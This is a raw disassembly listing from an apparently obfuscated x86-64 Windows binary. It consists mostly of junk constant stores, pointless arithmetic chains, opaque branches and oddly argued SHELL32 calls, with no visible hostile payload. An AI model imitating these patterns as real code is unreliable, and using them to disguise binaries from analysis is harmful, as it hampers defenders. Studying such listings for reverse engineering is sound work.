mov word [rbp + 0x15d0c], 0x6c3
mov word [rbp + 0x15d0a], 0xbc0
mov dword [rbp + 0x15d04], 0x36568c58
mov dword [rbp + 0x15d00], 0x13f5893d
mov dword [rbp + 0x15cfc], 0xf09a0b9b
mov dword [rbp + 0x15cf8], 0x48a2568f
mov dword [rbp + 0x15cf4], 0x38f4b545
mov word [rbp + 0x19ec], 0x1be0
mov dword [rbp + 0x15cf0], 0x3e626ef0
mov byte [rbp + 0x15cef], 0xef
mov word [rbp + 0x15cec], 0x920
mov word [rbp + 0x15cea], 0x6bee
movabs rax, 0x289a6f6b4f4298ac
mov qword [rbp + 0x1908], rax
mov dword [rbp + 0x15ce4], 0x79afefa5
movabs rax, 0x77d02643461c7528
mov qword [rbp + 0x18e8], rax
mov dword [rbp + 0x15ce0], 0x746a06d1
movabs rax, 0x923e2fa7c351c46
mov qword [rbp + 0x18d8], rax
movabs rax, 0x9e936e12560aa6a
mov qword [rbp + 0x15cd8], rax
mov dword [rbp + 0x15cd4], 0xeb0af59
mov word [rbp + 0x18aa], 0x5f0
mov dword [rbp + 0x15cd0], 0x71c6ce99
mov word [rbp + 0x1872], 0xd44
mov word [rbp + 0x15cce], 0x3c52
mov dword [rbp + 0x15cc8], 0x518e7d92
mov dword [rbp + 0x1834], 0x227664b0
mov dword [rbp + 0x17ec], 0x2e60dfb5
mov byte [rbp + 0x15cc7], 0xc1
mov dword [rbp + 0x15cc0], 0x5550022a
movabs rax, 0x3721349f26c55e23
mov qword [rbp + 0x17b8], rax
movabs rax, 0xcdb67c4fdd48dfcd
mov qword [rbp + 0x17b0], rax
mov word [rbp + 0x15cbe], 0x65dc
mov byte [rbp + 0x17a2], 0xe9
movabs rax, 0x4d08b99f702cda14
mov qword [rbp + 0x1798], rax
mov dword [rbp + 0x15cb8], 0x1785bc31
mov word [rbp + 0x178c], 0x411
movabs rax, 0xc2eee8a18b9c0af9
mov qword [rbp + 0x15cb0], rax
mov byte [rbp + 0x1775], 0xf0
mov byte [rbp + 0x15caf], 0x3c
mov byte [rbp + 0x1755], 0x53
mov dword [rbp + 0x15ca8], 0x7d7208ec
mov dword [rbp + 0x173c], 0x67cd283a
mov dword [rbp + 0x15ca4], 0xa43f831b
mov dword [rbp + 0x15ca0], 0x317716e5
mov word [rbp + 0x15c9e], 0x71d
mov byte [rbp + 0x15c9d], 0x11
mov word [rbp + 0x1666], 0x39e5
mov dword [rbp + 0x1644], 0x3fd333c4
mov dword [rbp + 0x15c98], 0x104d5fdd
mov dword [rbp + 0x15c94], 0x9f67246a
movabs rax, 0x25741f9d4022e120
mov qword [rbp + 0x15c88], rax
movabs rax, 0x22b210c8c94370f5
mov qword [rbp + 0x15f0], rax
mov word [rbp + 0x15e0], 0x54a4
mov dword [rbp + 0x15d4], 0x3f8da307
mov byte [rbp + 0x15c87], 0x77
mov word [rbp + 0x15c84], 0x2b7d
mov byte [rbp + 0x15c83], 0xbd
movabs rax, 0x7ba101bc9cdcfefe
mov qword [rbp + 0x15c78], rax
mov word [rbp + 0x1596], 0x95a
mov word [rbp + 0x1594], 0x2e2e
mov word [rbp + 0x1588], 0x144
mov byte [rbp + 0x1585], 0x23
mov byte [rbp + 0x1581], 0xe2
mov byte [rbp + 0x15c77], 0xb6
mov byte [rbp + 0x15c76], 0xe4
mov word [rbp + 0x1568], 0x24d6
movabs rax, 0x8dcf3e6fac84cd14
mov qword [rbp + 0x1560], rax
mov word [rbp + 0x1524], 0xa57
movabs rax, 0xb5eabb4678eab445
mov qword [rbp + 0x1518], rax
mov word [rbp + 0x15c74], 0x7b52
mov byte [rbp + 0x15c73], 0x98
mov byte [rbp + 0x15c72], 0x65
mov word [rbp + 0x15c70], 0xb8b
mov word [rbp + 0x15c6e], 0xf52
movabs rax, 0xa8886fe094e7993
mov qword [rbp + 0x1498], rax
movabs rax, 0x1153fa38e5a462ac
mov qword [rbp + 0x15c60], rax
mov word [rbp + 0x15c5e], 0xb0a
mov dword [rbp + 0x15c58], 0x2f305ce6
mov byte [rbp + 0x1443], 0x55
mov word [rbp + 0x15c56], 0xc40
mov word [rbp + 0x15c54], 0x78a
movabs rax, 0x8701d1ff61b881e
mov qword [rbp + 0x15c48], rax
mov byte [rbp + 0x15c47], 0xd3
movabs rax, 0x4cc4b3647d6e465f
mov qword [rbp + 0x1400], rax
mov byte [rbp + 0x15c46], 8
mov dword [rbp + 0x15c40], 0xd2b10daf
movabs rax, 0x41af65eeae0c5d2d
mov qword [rbp + 0x13c8], rax
mov word [rbp + 0x13b6], 0xd7a
mov byte [rbp + 0x15c3f], 0xf1
mov word [rbp + 0x13ac], 0x532
mov byte [rbp + 0x13ab], 0x6a
mov word [rbp + 0x15c3c], 0xb47
mov word [rbp + 0x15c3a], 0x7104
mov dword [rbp + 0x15c34], 0x7916a275
mov word [rbp + 0x15c32], 0x423
mov word [rbp + 0x15c30], 0x6d5f
mov dword [rbp + 0x133c], 0x620b3b9b
mov dword [rbp + 0x15c2c], 0x5f19c154
mov byte [rbp + 0x15c2b], 0xbe
mov byte [rbp + 0x130f], 0x66
movabs rax, 0xc26d5365fdeac07
mov qword [rbp + 0x15c20], rax
movabs rax, 0x16ffffa414cd7fde
mov qword [rbp + 0x15c18], rax
movabs rax, 0x17500f8bbe93e9a3
mov qword [rbp + 0x15c10], rax
mov byte [rbp + 0x15c0f], 0xe5
movabs rax, 0xdbfeebf96d99cf2
mov qword [rbp + 0x15c00], rax
mov dword [rbp + 0x15bfc], 0x770488db
mov word [rbp + 0x15bfa], 0x5f3
mov byte [rbp + 0x15bf9], 0x70
mov byte [rbp + 0x15bf8], 0xa
movabs rax, 0xc407ae427c989504
mov qword [rbp + 0x12a0], rax
mov byte [rbp + 0x15bf7], 0xc2
mov dword [rbp + 0x126c], 0x3021b76f
mov dword [rbp + 0x1240], 0xceda8587
movabs rax, 0x14ca61b52c2e24ef
mov qword [rbp + 0x15be8], rax
movabs rax, 0x81fe90b3409b3fec
mov qword [rbp + 0x15be0], rax
mov word [rbp + 0x1226], 0x1d7
mov dword [rbp + 0x15bdc], 0xe39b4ef6
mov dword [rbp + 0x15bd8], 0x9f0fd413
movabs rax, 0x74be1bfbdd7058df
mov qword [rbp + 0x15bd0], rax
mov word [rbp + 0x15bce], 0xa73
movabs rax, 0x48b6b115df0856bb
mov qword [rbp + 0x11c8], rax
mov dword [rbp + 0x15bc8], 0x478090c6
mov dword [rbp + 0x11c0], 0x23aeb56a
mov dword [rbp + 0x11ac], 0xf76ef52
movabs rax, 0xbb8dac8d52e50f9f
mov qword [rbp + 0x11a0], rax
mov byte [rbp + 0x119b], 0xe
mov word [rbp + 0x15bc6], 0xcb0
mov word [rbp + 0x15bc4], 0xfe8
mov dword [rbp + 0x15bc0], 0x73cfc580
mov dword [rbp + 0x15bbc], 0xbc483f95
mov dword [rbp + 0x1174], 0xdeafe8b7
mov word [rbp + 0x15bba], 0x423a
mov word [rbp + 0x10b4], 0x6ad6
movabs rax, 0x9ed6532fa7205157
mov qword [rbp + 0x15bb0], rax
movabs rax, 0x103d4374db46a197
mov qword [rbp + 0x10a8], rax
movabs rax, 0x583eb1fd9594048b
mov qword [rbp + 0x15ba8], rax
mov dword [rbp + 0x15ba4], 0x7954965e
mov dword [rbp + 0x1064], 0x158c6e0a
mov dword [rbp + 0x1058], 0x573bbfa6
mov word [rbp + 0x101e], 0x7a55
movabs rax, 0x42b403e9473ea8c0
mov qword [rbp + 0x15b98], rax
mov byte [rbp + 0x1003], 0x39
mov dword [rbp + 0x15b94], 0x7453fad2
mov byte [rbp + 0x1001], 0x73
lea rax, [rbp + 0xfd0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.1400e5760
movabs rax, 0x66c574d93163b45f
mov qword [rbp + 0xfc8], rax
mov byte [rbp + 0xfc5], 0x21
mov byte [rbp + 0x15b93], 8
mov dword [rbp + 0xf8c], 0xa0bcf7f0
mov dword [rbp + 0xf50], 0x269cec6c
mov word [rbp + 0x15b90], 0x7b2
mov word [rbp + 0x15b8e], 0x815
mov word [rbp + 0x15b8c], 0x1264
movabs rax, 0xd22656709ab1ccc7
mov qword [rbp + 0xf20], rax
mov byte [rbp + 0x15b8b], 0x15
mov dword [rbp + 0xf04], 0xd09ab619
mov word [rbp + 0xf02], 0x7b4
mov word [rbp + 0x15b88], 0x23f
mov dword [rbp + 0xee4], 0xb1814794
movabs rax, 0xebee8993783499bc
mov qword [rbp + 0x15b80], rax
mov word [rbp + 0xec6], 0x2073
mov word [rbp + 0xcae], 0x1d7d
mov byte [rbp + 0x15b7f], 0x31
movabs rax, 0x349af9f6cc7617ff
mov qword [rbp + 0xc78], rax
mov word [rbp + 0xc70], 0x729
mov byte [rbp + 0xc6f], 0x9f
movabs rax, 0xe5fa180f4ac29586
mov qword [rbp + 0x15b70], rax
mov word [rbp + 0xc3e], 0x3d0
mov word [rbp + 0x15b6e], 0x1aee
movabs rax, 0x256f2938083b2d9e
mov qword [rbp + 0xbf0], rax
movabs rax, 0x32cd3207e5490f02
mov qword [rbp + 0x15b60], rax
movabs rax, 0x540803f1a0efd52d
mov qword [rbp + 0xbb0], rax
movabs rax, 0x5e8cd208023a9f2b
mov qword [rbp + 0xb98], rax
movabs rax, 0x543414a6763e2a09
mov qword [rbp + 0x15b58], rax
mov byte [rbp + 0xb87], 0x1e
mov byte [rbp + 0xb5c], 0x6c
movabs rax, 0x27cb23d47669ec8b
mov qword [rbp + 0xae0], rax
mov byte [rbp + 0xade], 9
mov byte [rbp + 0x15b57], 0xf6
mov word [rbp + 0xabc], 0x4a37
movabs rax, 0x56f23b14bba03276
mov qword [rbp + 0x15b48], rax
mov word [rbp + 0x15b46], 0xb3e
mov dword [rbp + 0xa68], 0x5f69d08a
movabs rax, 0x4f9ff4007e8e381c
mov qword [rbp + 0x15b38], rax
movabs rax, 0x2dab5a8f59b0ff3b
mov qword [rbp + 0xa50], rax
mov dword [rbp + 0xa30], 0x2fe4bf61
mov word [rbp + 0x15b36], 0x7816
mov word [rbp + 0xa2c], 0x940
mov byte [rbp + 0xa22], 0x7b
mov byte [rbp + 0x15b35], 0x4c
movabs rax, 0x44985f93b2243fb2
mov qword [rbp + 0xa18], rax
mov byte [rbp + 0x9ef], 0x5e
mov byte [rbp + 0x9ce], 0x75
movabs rax, 0x81a2851ddf07d0f8
mov qword [rbp + 0x15b28], rax
movabs rax, 0xec3a478b126ebb3
mov qword [rbp + 0x15b20], rax
mov word [rbp + 0x15b1e], 0x55d
movabs rax, 0x4c72e312fe7b7cd5
mov qword [rbp + 0x9a8], rax
mov dword [rbp + 0x15b18], 0x401413be
mov dword [rbp + 0x15b14], 0xbcb8095d
movabs rax, 0x6cea389b71b72247
mov qword [rbp + 0x15b08], rax
mov dword [rbp + 0x928], 0x5815b4f8
mov dword [rbp + 0x15b04], 0x9a04b9dc
mov dword [rbp + 0x15b00], 0x6fbed1d6
mov byte [rbp + 0x15aff], 0x61
mov byte [rbp + 0x15afe], 5
mov word [rbp + 0x15afc], 0x3b5
mov word [rbp + 0x15afa], 0x4162
mov dword [rbp + 0x888], 0x1942e99d
mov dword [rbp + 0x15af4], 0x6342240b
mov dword [rbp + 0x15af0], 0x56458f50
mov byte [rbp + 0x15aef], 0x25
movabs rax, 0x5c2f2641ea10eb6e
mov qword [rbp + 0x15ae0], rax
mov byte [rbp + 0x859], 0x37
mov byte [rbp + 0x82f], 0x71
movabs rax, 0xfb20eb1bb417329e
mov qword [rbp + 0x15ad8], rax
mov word [rbp + 0x15ad6], 0x334a
mov byte [rbp + 0x7ef], 0xf5
mov byte [rbp + 0x15ad5], 0xfa
movabs rax, 0x9233ab8b4e3a7b54
mov qword [rbp + 0x15ac8], rax
movabs rax, 0x114fce40665c8525
mov qword [rbp + 0x768], rax
movabs rax, 0xf0429ce08ce7aedd
mov qword [rbp + 0x15ac0], rax
movabs rax, 0x5d6644688ad16ba5
mov qword [rbp + 0x15ab8], rax
mov dword [rbp + 0x6d0], 0x25a92432
movabs rax, 0xc41d88d1759b59
mov qword [rbp + 0x6c0], rax
mov word [rbp + 0x15ab6], 0x703b
movabs rax, 0x263838689dcb0262
mov qword [rbp + 0x15aa8], rax
mov byte [rbp + 0x15aa7], 0xa4
mov dword [rbp + 0x15aa0], 0xec8c49de
movabs rax, 0x7b376ad910a3b46e
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x644], 0x7589c47d
mov word [rbp + 0x15a9e], 0x7ae
mov byte [rbp + 0x15a9d], 0x27
movabs rax, 0x7dd2b8333d501f5
mov qword [rbp + 0x15a90], rax
mov byte [rbp + 0x62f], 0x13
mov dword [rbp + 0x624], 0x1bdfb3c3
mov dword [rbp + 0x15a8c], 0xb21435fe
mov byte [rbp + 0x621], 0xbf
mov dword [rbp + 0x15a88], 0x4c7238be
mov word [rbp + 0x15a86], 0x2c2
mov word [rbp + 0x15a84], 0x368
mov dword [rbp + 0x15a80], 0x475b30be
mov dword [rbp + 0x5c0], 0xa4e520e
mov dword [rbp + 0x5bc], 0x95928fc2
movabs rax, 0x3c95fac0b3020bb8
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x15a7c], 0xdd8f5778
mov word [rbp + 0x596], 0x32dd
mov word [rbp + 0x15a7a], 0x851
movabs rax, 0xf6665b605f3b7d80
mov qword [rbp + 0x15a70], rax
movabs rax, 0x55cab988db1b42e7
mov qword [rbp + 0x15a68], rax
mov dword [rbp + 0x570], 0x8e89aebb
mov byte [rbp + 0x15a67], 0x75
mov dword [rbp + 0x15a60], 0xcf51d116
movabs rax, 0x5176b90bcd9e2636
mov qword [rbp + 0x15a58], rax
mov byte [rbp + 0x53b], 0x2e
mov byte [rbp + 0x15a57], 0x3d
mov dword [rbp + 0x504], 0x75f63fb2
movabs rax, 0x7544f19338b85aa2
mov qword [rbp + 0x4e8], rax
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.1400e57b0
movabs rax, 0x2f85ab0dd26ccdc3
mov qword [rbp + 0x15a48], rax
mov dword [rbp + 0x15a44], 0x8fd5ed69
mov word [rbp + 0x15a42], 0x5ae2
mov dword [rbp + 0x15a3c], 0x7f573c6b
mov byte [rbp + 0x15a3b], 0x5c
mov byte [rbp + 0x15a3a], 0x69
mov byte [rbp + 0x15a39], 0x5a
movabs rax, 0x20511a90ba6c3f75
mov qword [rbp + 0x490], rax
mov byte [rbp + 0x48f], 0x71
mov dword [rbp + 0x470], 0x7f9fbb92
mov word [rbp + 0x15a36], 0x7f30
mov word [rbp + 0x45a], 0x47c
mov word [rbp + 0x15a34], 0xb31
movabs rax, 0x9e0322cc4920c106
mov qword [rbp + 0x15a28], rax
mov dword [rbp + 0x15a24], 0x519b24af
mov byte [rbp + 0x15a23], 0x71
mov dword [rbp + 0x3fc], 0x9ffcaec9
mov byte [rbp + 0x15a22], 0x4c
mov byte [rbp + 0x3b7], 0x42
mov word [rbp + 0x15a20], 0x511
mov dword [rbp + 0x394], 0xdb4fbf19
movabs rax, 0x5ae7f9cc58e19b8d
mov qword [rbp + 0x388], rax
mov byte [rbp + 0x15a1f], 0x5a
movabs rax, 0x6c07360975007467
mov qword [rbp + 0x378], rax
movabs rax, 0xd784be7283f923f7
mov qword [rbp + 0x15a10], rax
movabs rax, 0x1a4ef4c1bf6d5a2a
mov qword [rbp + 0x15a08], rax
mov word [rbp + 0x36e], 0x9a5
movabs rax, 0xae9b6f780e9eeaf7
mov qword [rbp + 0x15a00], rax
mov byte [rbp + 0x159ff], 0xc5
mov word [rbp + 0x32a], 0x63d
mov dword [rbp + 0x320], 0x43dcb38
mov byte [rbp + 0x31f], 0x83
mov byte [rbp + 0x159fe], 8
mov byte [rbp + 0x159fd], 0xbe
mov word [rbp + 0x159fa], 0x36ec
mov dword [rbp + 0x159f4], 0xe4354548
mov dword [rbp + 0x159f0], 0x530027b8
mov byte [rbp + 0x2d2], 0x58
mov byte [rbp + 0x159ef], 0x6c
movabs rax, 0x63395af5b4041509
mov qword [rbp + 0x159e0], rax
mov byte [rbp + 0x279], 0x20
mov dword [rbp + 0x159dc], 0x67d1f4c0
movabs rax, 0xcaaeab283d8e79d
mov qword [rbp + 0x159d0], rax
movabs rax, 0x6b0da1aa6fcd4cd0
mov qword [rbp + 0x159c8], rax
mov dword [rbp + 0x159c4], 0xe98d1884
movabs rax, 0x229b975f87e7df6a
mov qword [rbp + 0x159b8], rax
movabs rax, 0x19e9b89e9eec31d3
mov qword [rbp + 0x159b0], rax
mov eax, dword [section..data]
sub eax, 0x37de8351
mov dword [section..data], eax
mov dword [rbp + 0x16418], 0x38d9
mov word [rbp + 0x2ee], 0x252b
mov dword [rbp + 0x1635c], 0x433a
mov dword [rbp + 0x16314], 0x3194
movzx eax, word [rbp + 0x2ee]
add ax, 0x50d2
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x26e2
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x41dc
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
shl eax, 4
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
sar ax, 7
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x46dd
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x4212
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x4cd5
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x6a7a
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x581
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x371
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
add eax, 0x46fd108e
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x7d8
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0xc2f
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 0xf
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 8
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x4c99
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x28c0
mov word [rbp + 0x2ee], ax
add dword [rbp + 0x1635c], 0xab
mov eax, dword [section..data]
add eax, 0x16bdd4a0
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x2e97
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x3694
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x34f1
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x4683
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
sub eax, 0x17e4e493
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
add ax, 0x44b4
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x1fbd
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x7318
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 0xd
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x6a7e
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x545
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 0xa
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x6935
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x1c7f
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x13ea
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
add eax, 0x5ad6c143
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x719d
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x3706
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0xde
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x40f4
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x367c
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
sub eax, 0xa55296a
mov dword [section..data], eax
cmp dword [rbp + 0x1635c], 0x8204
jbe 0x1400038d8
movzx eax, word [rbp + 0x2ee]
shl eax, 0xd
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x153e
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 6
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x1eb3
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x3e4e
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
sub eax, 0x2e27a611
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
add ax, 0x5da5
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x2ac1
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x50bd
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x2d4c
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x3490
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x783e
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x3092
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x691d
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x29c0
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
sar eax, 7
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
shl eax, 0xc
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x8de
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x4918
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
add eax, 0x6dec971a
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x41fb
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x28b2
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x6e8a
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x49a
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0xab
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x4c84
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
and eax, 0x410b0594
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
or ax, 0x3ce9
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 8
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 0xa
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x6625
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x3721
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x4f03
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
and ax, 0x7b6
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x3d08
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x4b92
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x2caa
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x33e4
mov word [rbp + 0x2ee], ax
add dword [rbp + 0x16418], 0xdc
movzx eax, word [rbp + 0x2ee]
sub ax, 0x562b
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x3d9b
mov word [rbp + 0x2ee], ax
mov eax, dword [section..data]
add eax, 0x781884fc
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
add ax, 0x3319
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 0xf
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 0xc
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
xor ax, 0x7f69
mov word [rbp + 0x2ee], ax
cmp dword [rbp + 0x16418], 0x4851
jne 0x140003bca
movzx eax, word [rbp + 0x2ee]
cmp ax, 0x2eac
je 0x1400e2857
mov rax, qword [rbp + 0x4e8]
movabs rdx, 0x2acd515aef39b993
imul rax, rdx
mov qword [rbp + 0x4e8], rax
mov dword [rbp + 0x16364], 0x11926
mov dword [rbp + 0x163bc], 0x3208
movabs rax, 0x7ba35a373bd5e8e0
mov qword [rbp + 0x162e8], rax
mov dword [rbp + 0x163ac], 0x9192
movzx eax, word [rbp + 0x2ee]
mov word [rbp + 0x302], ax
movzx eax, word [rbp + 0x302]
cwde
and eax, 0x259
mov edx, eax
movzx eax, word [rbp + 0x2ee]
cwde
cmp edx, eax
jg 0x1400e27e4
mov rax, qword [rbp + 0x4e8]
movabs rdx, 0xd21cf824376d1d06
cmp rax, rdx
je 0x140003fba
movabs rdx, 0x3a08b0da63c02ba7
cmp rax, rdx
je 0x140004035
jmp 0x1400040cd
mov eax, dword [rbp + 0x35b4]
cmp eax, 0xdb5c4ee4
jbe 0x140003fea
mov edx, dword [rbp + 0x35b4]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0x37
mov edx, 0
mov ecx, eax
call fcn.1400e3877
jmp 0x140004026
mov byte [rbp + 0x51f], 0xd4
mov dword [rbp + 0x163cc], 0x9bec
mov dword [rbp + 0x1640c], 0xba6b
lea rax, [rbp + 0x4e8]
mov qword [rbp + 0x4448], rax
mov word [rbp + 0x4328], 0x609
mov dword [rbp + 0x16354], 0xb397
mov dword [rbp + 0x163ec], 0xbd22
jmp 0x1400040cd
mov rax, qword [rbp + 0x2e40]
lea r8, [rbp + 0x2f08]
lea rcx, [rbp + 0x4448]
lea rdx, [rbp + 0x35b4]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
call rax
mov dword [rbp + 0x2f08], eax
movabs rax, 0xe0fcf596350dc583
add qword [rbp + 0x162e8], rax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
cmp eax, 0x22d
jne 0x1400040ab
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
jmp 0x1400040cc
lea rdx, [rbp + 0x2e40]
lea rax, [rbp + 0x4328]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ILSaveToStream]
call rax
mov dword [rbp + 0x159ac], eax
nop
nop
mov dword [rbp + 0x16374], 0xd9f1
mov dword [rbp + 0x16430], 0xfefb
mov dword [rbp + 0x16350], 0xd7a6
jmp 0x1400044b3
mov dword [rbp + 0x35b4], 0x3e372a76
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xc2486d131dbc9129
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
add eax, 0x10d5a060
mov dword [section..data], eax
movzx eax, word [rbp + 0x302]
sub ax, 0x654b
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x302]
xor ax, 0x37c0
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x77a1
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
shr qword [rbp + 0x162e8], 0x34
mov eax, dword [rbp + 0x35b4]
and eax, 0x65b16aef
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xd06196e779d8e1d6
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x35b4]
sub eax, 0x7f73e56e
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xd9220cb5e43f2afe
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x52
mov byte [rbp + 0x51f], al
add dword [rbp + 0x16430], 0x20
movzx eax, word [rbp + 0x302]
add ax, 0x296d
mov word [rbp + 0x2ee], ax
movabs rax, 0xe483555a53867ebb
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
